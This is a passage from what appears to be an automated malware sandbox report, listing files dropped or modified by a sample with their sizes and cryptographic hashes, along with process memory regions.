                                            • Suspicious use of SetWindowsHookEx
                                            PID:4744

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Windows\SysWOW64\Packet.dll

                                          Filesize

                                          95KB

                                          MD5

                                          86316be34481c1ed5b792169312673fd

                                          SHA1

                                          6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

                                          SHA256

                                          49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

                                          SHA512

                                          3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

                                        • C:\Windows\SysWOW64\wpcap.dll

                                          Filesize

                                          275KB

                                          MD5

                                          4633b298d57014627831ccac89a2c50b

                                          SHA1

                                          e5f449766722c5c25fa02b065d22a854b6a32a5b

                                          SHA256

                                          b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

                                          SHA512

                                          29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

                                        • C:\Windows\TEMP\intetbmbl\2156.dmp

                                          Filesize

                                          4.1MB

                                          MD5

                                          1737913cd731188bb432f19e4275001e

                                          SHA1

                                          462b9b6b85086719b3fa6f6c2e1139438a3d1d93

                                          SHA256

                                          c0a6d4cf2d36cd87dbbb7a70639efe7e0c71e7808c1a0f560a95014b4fa717aa

                                          SHA512

                                          a8fe32000929332db2de6ead2de12ad7e28c9ce6e46168f7ff9c4503548e00794d9bf5658d4a3a065c879de83ff330ce803172642fce928f3bd64a7a19e601c8

                                        • C:\Windows\TEMP\intetbmbl\2488.dmp

                                          Filesize

                                          3.8MB

                                          MD5

                                          ab94fe0156e2a7d1809bf4826dae6ef6

                                          SHA1

                                          bd5257adf8885cc6c91c13cc67753c47a333c641

                                          SHA256

                                          e418d06536ecf69fa62f1af5586fd691d880c481563359ea2ed2c86073e61991

                                          SHA512

                                          a2b7ce36998ef69a50598b2486c9c511fe428460b2b6433be3981d08f1bc3326164f2facb472e681d146cdec597b75381e4bcd5eeaca4e8b708996de7ac9968f

                                        • C:\Windows\TEMP\intetbmbl\2652.dmp

                                          Filesize

                                          2.9MB

                                          MD5

                                          1ab614e3c9459257c926f78e536d9c27

                                          SHA1

                                          443069ad0f298805a66188bee599ca7daaf91ff1

                                          SHA256

                                          fb8b2b3c2aa99613e3289a165dca61fc3b84951565cbb37f3b436c5bb4ccddc9

                                          SHA512

                                          36915dce5e49f1641c3f872fbf4f9e4dbc16b611b5759494598dbc06663dac13b50350bccb86bd43c977958dad0197b9814ffc5f3720e85343f32a5626936646

                                        • C:\Windows\TEMP\intetbmbl\2796.dmp

                                          Filesize

                                          7.6MB

                                          MD5

                                          d427a74f1f8307be040d2293fb1b7bad

                                          SHA1

                                          0f710ab43f243f99897c76b374c521c17d6121d3

                                          SHA256

                                          48e0fbfca7e0ef9ff1dc7b0710ae74f74a55966ae8b9e687ac6d09f691f84f7b

                                          SHA512

                                          03243cf24cd12784337cda6ac258692e6a24362164e4afa4535018804e32c96327af4b04f581c7c3bd0f20ced773430709796de030d1f2c75bbeaf28240d9034

                                        • C:\Windows\TEMP\intetbmbl\2964.dmp

                                          Filesize

                                          818KB

                                          MD5

                                          bf1d57b45e9d35a7fec67365bea8d146

                                          SHA1

                                          ed969531d8facaad3cd1321be4926fdb7ff34072

                                          SHA256

                                          b00196fe3819fe17b4de580956a25cc3887781478902f29869ce15c573d21b17

                                          SHA512

                                          faa327de1da4f684f6c3ce70a49c9de2e8965ce8232630777e3e3a22de05a9998f88ba051ea5a0540afd179d18a00efdec684bd84b64143a15a3edb6ec2ab3e9

                                        • C:\Windows\TEMP\intetbmbl\316.dmp

                                          Filesize

                                          33.5MB

                                          MD5

                                          ae991ac1809d161f71952a09c3b36c11

                                          SHA1

                                          12b0a52ba31f2fafebf1de3b4a721893ebafbc8b

                                          SHA256

                                          d064541cf57da456e0dbf8611dc80d114553a7f3ace55615439fe89f2aa98807

                                          SHA512

                                          4185a10c6d4a0db9e89713161ad6d2d2e8fb1e604b155329ce7fc30ad6f29f699408efff5236c12e9e9d52cc4582dbaf34e77abf0050812e9d8696f14e8f5e72

                                        • C:\Windows\TEMP\intetbmbl\3804.dmp

                                          Filesize

                                          3.4MB

                                          MD5

                                          0ef1fd45d3ed5a159e2dfd98be34d1b7

                                          SHA1

                                          03976963b65e981799d0309a100ec0170069ef92

                                          SHA256

                                          c05a1d0b65e5648a0be4fa5d845414a071bdb0bda35d235f55b55e542dbbe408

                                          SHA512

                                          b9b41171de75c9574665d9275980836549a12681e58b526b42bea2ca9c8ceebf1f625deee4141f787afc6ffa802986968a2fc639a9240f80e56b5eb9e929f6cf

                                        • C:\Windows\TEMP\intetbmbl\3892.dmp

                                          Filesize

                                          20.7MB

                                          MD5

                                          7f50ea65b7fe7dcb82099d106d6c02f7

                                          SHA1

                                          81ee7cccaed9e5e5da3404491c1b79024326e099

                                          SHA256

                                          dd51c539d0ddee90c42bcef9e8d3fda75cbf2be4a9abd68dd2599398cc0c6b53

                                          SHA512

                                          c1b798f5c5da41ad04544a29af9ca21c3d85d6a99ad87d1d64a5c0046f362ea99c1592e372a2b6cbd5b152b07c50f4af6e510dfd6ede4e8c4316632a2ca9e1ec

                                        • C:\Windows\TEMP\intetbmbl\3956.dmp

                                          Filesize

                                          4.6MB

                                          MD5

                                          e56d8f5233c28a634b7b47b18b0b207a

                                          SHA1

                                          cbeaf7b1595a7a8bae5636a56304b16dc0a288e6

                                          SHA256

                                          c76fd13727d600c418ba8183d6de6f1fb3930d98d32c4c93583d89a6e0533530

                                          SHA512

                                          9bd1a7a3c40c9072c73d55068a7e84efa1b8cd80e3b1087dde560b7dec3bcf25b7528046ec716e323239d01156fea8f283f38be51b7b16820982d1b9f26faf89

                                        • C:\Windows\TEMP\intetbmbl\4032.dmp

                                          Filesize

                                          43.8MB

                                          MD5

                                          3072bd1284981fca25d0946288da8524

                                          SHA1

                                          96039bb9e1da89f87862a143f670dd9042558b36

                                          SHA256

                                          036e7062e02c25180231e2ab49b9181acb91a40df6da6a606c556cf601c51b47

                                          SHA512

                                          b3c1eb184ed226651beed36d7687521c574dbf38ccb9f2252a71cba193523ebc4d95564b8c91a1825c091dcada9705094fc4e8a00c81f99e8c173d312ee904d0

                                        • C:\Windows\TEMP\intetbmbl\4128.dmp

                                          Filesize

                                          1.2MB

                                          MD5

                                          aa7add86cb308ddcdf3420453ce4c03a

                                          SHA1

                                          f5865368cd3c24d6819ae38a11375fce7e1600ad

                                          SHA256

                                          02856a74affd95fc7accc58897cf0ee243b6c1f9f7e4434d9add80f2f93a24a6

                                          SHA512

                                          bc8c9ff0d467f012feebe72058e452c536c42f9aaa7b506a156c7400758c3ffff449f25399ad083bec1ce7e5f13d3971d4733d041e984ef10b9eceddca52fef9

                                        • C:\Windows\TEMP\intetbmbl\4428.dmp

                                          Filesize

                                          8.9MB

                                          MD5

                                          805f4525782633712ac85189668d5f5d

                                          SHA1

                                          6f1610065b2f688507a843c328ea105a2d8240d4

                                          SHA256

                                          aff95f7c8f9d58aeae6f79cc9c04417e96c21d4684f87aff2b36bd475c7b011d

                                          SHA512

                                          692641d0a5fa73986465fe614bf2e69962d84ba9efad2658514cb4e59707ef9b94f6593fc64c32092b3a0fb0997ebc77436b065f2b46216d28ce2ddf3e890840

                                        • C:\Windows\TEMP\intetbmbl\4452.dmp

                                          Filesize

                                          25.8MB

                                          MD5

                                          e9b1490a3426fa7737b400cc35dff4b2

                                          SHA1

                                          eaaa2e626454d1485d1aec6682327685f165db09

                                          SHA256

                                          51ffff71983b9872e76e8999f15d0a3958564adde4fbb6c358ebca20e86dcc8e

                                          SHA512

                                          b45fb3c7f5a1c62df60634a38d38d1be25bff507bdd0acb6adb7edf7281960a2fcc814fe460a50694b6bc793020d28890a3b7085b9e268d067eee5816f8eb996

                                        • C:\Windows\TEMP\intetbmbl\768.dmp

                                          Filesize

                                          3.3MB

                                          MD5

                                          917c78b7db53ff05a1d72dafce7bd352

                                          SHA1

                                          0c6f9695da7973965d76b92a652981984dec687c

                                          SHA256

                                          6afd705564bd16845b158a5b9ead186da39f587d96b22059362fd391116c1a62

                                          SHA512

                                          70d12dd917f3fc34308d52286846faed8ee8be39be2ed4dab6c34ccfa7d1cd189a9fa2afb9c93a387ff79db6561ce53218119517cdc7c4104f7a6d9fef003ca7

                                        • C:\Windows\TEMP\niuaeryvy\config.json

                                          Filesize

                                          693B

                                          MD5

                                          f2d396833af4aea7b9afde89593ca56e

                                          SHA1

                                          08d8f699040d3ca94e9d46fc400e3feb4a18b96b

                                          SHA256

                                          d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

                                          SHA512

                                          2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

                                        • C:\Windows\Temp\intetbmbl\nasqttiif.exe

                                          Filesize

                                          126KB

                                          MD5

                                          e8d45731654929413d79b3818d6a5011

                                          SHA1

                                          23579d9ca707d9e00eb62fa501e0a8016db63c7e

                                          SHA256

                                          a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

                                          SHA512

                                          df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

                                        • C:\Windows\Temp\niuaeryvy\nbrbkn.exe

                                          Filesize

                                          343KB

                                          MD5

                                          2b4ac7b362261cb3f6f9583751708064

                                          SHA1

                                          b93693b19ebc99da8a007fed1a45c01c5071fb7f

                                          SHA256

                                          a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

                                          SHA512

                                          c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

                                        • C:\Windows\Temp\nsp1DA7.tmp\System.dll

                                          Filesize

                                          11KB

                                          MD5

                                          2ae993a2ffec0c137eb51c8832691bcb

                                          SHA1

                                          98e0b37b7c14890f8a599f35678af5e9435906e1

                                          SHA256

                                          681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

                                          SHA512

                                          2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

                                        • C:\Windows\Temp\nsp1DA7.tmp\nsExec.dll

                                          Filesize

                                          6KB

                                          MD5

                                          b648c78981c02c434d6a04d4422a6198

                                          SHA1

                                          74d99eed1eae76c7f43454c01cdb7030e5772fc2

                                          SHA256

                                          3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

                                          SHA512

                                          219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

                                        • C:\Windows\Temp\xohudmc.exe

                                          Filesize

                                          72KB

                                          MD5

                                          cbefa7108d0cf4186cdf3a82d6db80cd

                                          SHA1

                                          73aeaf73ddd694f99ccbcff13bd788bb77f223db

                                          SHA256

                                          7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

                                          SHA512

                                          b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

                                        • C:\Windows\intetbmbl\Corporate\vfshost.exe

                                          Filesize

                                          381KB

                                          MD5

                                          fd5efccde59e94eec8bb2735aa577b2b

                                          SHA1

                                          51aaa248dc819d37f8b8e3213c5bdafc321a8412

                                          SHA256

                                          441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

                                          SHA512

                                          74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

                                        • C:\Windows\intetbmbl\eatelrffa\blzntuqfb.exe

                                          Filesize

                                          332KB

                                          MD5

                                          ea774c81fe7b5d9708caa278cf3f3c68

                                          SHA1

                                          fc09f3b838289271a0e744412f5f6f3d9cf26cee

                                          SHA256

                                          4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

                                          SHA512

                                          7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

                                        • C:\Windows\intetbmbl\eatelrffa\wpcap.exe

                                          Filesize

                                          424KB

                                          MD5

                                          e9c001647c67e12666f27f9984778ad6

                                          SHA1

                                          51961af0a52a2cc3ff2c4149f8d7011490051977

                                          SHA256

                                          7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

                                          SHA512

                                          56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

                                        • C:\Windows\system32\drivers\etc\hosts

                                          Filesize

                                          1KB

                                          MD5

                                          c838e174298c403c2bbdf3cb4bdbb597

                                          SHA1

                                          70eeb7dfad9488f14351415800e67454e2b4b95b

                                          SHA256

                                          1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

                                          SHA512

                                          c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

                                        • C:\Windows\tlmnbsfy\dbtfmbf.exe

                                          Filesize

                                          8.6MB

                                          MD5

                                          b7a6e6e656996025ebc47f84e217dd1b

                                          SHA1

                                          cad94799c0245bcc12da122b91f4a9c37b2cc10c

                                          SHA256

                                          2295b042158c10134f684002e70d3d626fa41f0278ffcf2d9c569468d8cdc3ab

                                          SHA512

                                          2ee6c6a0d562688f021f606a62e6be3123fb7cd254540dd010c28286ed52d588f6ac38b28856ad08854c8cf49bb6e34525b277039a8a9570e6e5234b23286c86

                                        • memory/664-180-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/828-206-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/1864-224-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/1940-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                          Filesize

                                          6.6MB

                                        • memory/1940-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                          Filesize

                                          6.6MB

                                        • memory/2012-162-0x0000000000400000-0x0000000000412000-memory.dmp

                                          Filesize

                                          72KB

                                        • memory/2012-148-0x0000000010000000-0x0000000010008000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/2064-78-0x00000000011A0000-0x00000000011EC000-memory.dmp

                                          Filesize

                                          304KB

                                        • memory/2152-231-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/2188-240-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/2188-202-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/2192-8-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                          Filesize

                                          6.6MB

                                        • memory/2320-219-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/2356-193-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/2448-136-0x00007FF608190000-0x00007FF60827E000-memory.dmp

                                          Filesize

                                          952KB

                                        • memory/2448-235-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/2448-138-0x00007FF608190000-0x00007FF60827E000-memory.dmp

                                          Filesize

                                          952KB

                                        • memory/2480-215-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/2588-189-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/3092-233-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/3880-238-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/4088-221-0x00007FF6FC9B0000-0x00007FF6FCAD0000-memory.dmp

                                          Filesize

                                          1.1MB

                                        • memory/4088-270-0x00007FF6FC9B0000-0x00007FF6FCAD0000-memory.dmp

                                          Filesize

                                          1.1MB

                                        • memory/4088-199-0x00007FF6FC9B0000-0x00007FF6FCAD0000-memory.dmp

                                          Filesize

                                          1.1MB

                                        • memory/4088-212-0x00007FF6FC9B0000-0x00007FF6FCAD0000-memory.dmp

                                          Filesize

                                          1.1MB

                                        • memory/4088-168-0x00000206FDFD0000-0x00000206FDFE0000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/4088-165-0x00007FF6FC9B0000-0x00007FF6FCAD0000-memory.dmp

                                          Filesize

                                          1.1MB

                                        • memory/4088-272-0x00007FF6FC9B0000-0x00007FF6FCAD0000-memory.dmp

                                          Filesize

                                          1.1MB

                                        • memory/4088-236-0x00007FF6FC9B0000-0x00007FF6FCAD0000-memory.dmp

                                          Filesize

                                          1.1MB

                                        • memory/4088-269-0x00007FF6FC9B0000-0x00007FF6FCAD0000-memory.dmp

                                          Filesize

                                          1.1MB

                                        • memory/4088-251-0x00007FF6FC9B0000-0x00007FF6FCAD0000-memory.dmp

                                          Filesize

                                          1.1MB

                                        • memory/4088-178-0x00007FF6FC9B0000-0x00007FF6FCAD0000-memory.dmp

                                          Filesize

                                          1.1MB

                                        • memory/4088-182-0x00007FF6FC9B0000-0x00007FF6FCAD0000-memory.dmp

                                          Filesize

                                          1.1MB

                                        • memory/4156-175-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/4176-171-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/4212-250-0x0000000000550000-0x0000000000562000-memory.dmp

                                          Filesize

                                          72KB

                                        • memory/4488-185-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/4608-197-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/4760-210-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/4880-142-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB

                                        • memory/4880-160-0x00007FF76CA40000-0x00007FF76CA9B000-memory.dmp

                                          Filesize

                                          364KB